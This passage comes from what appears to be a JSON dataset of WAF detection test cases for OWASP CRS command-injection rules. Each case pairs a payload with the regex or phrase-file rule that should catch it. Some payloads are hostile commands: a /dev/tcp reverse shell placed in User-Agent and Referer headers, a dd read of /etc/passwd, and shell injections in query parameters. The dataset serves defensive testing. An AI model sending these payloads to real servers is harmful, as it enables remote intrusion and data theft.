s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:c|atch)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932239", "test_description": "False positive with token in referrer.\nShould not match `df`.\n" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_10_1 rv:5.0; ps-AF) AppleWebKit/534.28.2 (KHTML, like Gecko) Version/4.0 Safari/534.28.2" } ], "attack_context": { "method": "POST", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$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or_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|io(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:t(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\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ions|thon[23]))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|ftp|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:c|atch)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932239", "test_description": "False positive with Pashto Afghanistan User-Agent\nShould not match `ps` in `ps-af`.\n" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "dd if=/etc/passwd of=/tmp/evil.sh bs=1 skip=22 count=9" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "unix-shell.data", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932161", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "/bin/bash -c \"sh -i>& /dev/tcp/172.17.0.1/54321 0>&1\"" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "unix-shell.data", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932161", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "&/dev/tcp/172.17.0.1/54321 0>&1\\'`; ?>" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "unix-shell.data", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932161", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "header_referer", "value": "dd if=/etc/passwd of=/tmp/evil.sh bs=1 skip=22 count=9" } ], "attack_context": { "method": "GET", "location": [ "header_referer" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "unix-shell.data", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932161", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "header_referer", "value": "/bin/bash -c \"sh -i>& /dev/tcp/172.17.0.1/54321 0>&1\"" } ], "attack_context": { "method": "GET", "location": [ "header_referer" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "unix-shell.data", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932161", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "header_referer", "value": "&/dev/tcp/172.17.0.1/54321 0>&1\\'`; ?>" } ], "attack_context": { "method": "GET", "location": [ "header_referer" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "unix-shell.data", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932161", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "arg=%3Bps" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'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-\\{]*)?\\x5c?f|w[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:h[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o|(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932232", "test_description": "/?arg=;ps" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "arg=%7Cvi%20%28x" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x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?\\x5c?(?:h[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o|(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932232", "test_description": "/?arg=|vi (x" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "arg=%26w%20%28x" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(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o|(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932232", "test_description": "/?arg=&w (x" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "arg=%26aptitude" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\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_description": "/?arg=&aptitude" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=time+who" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 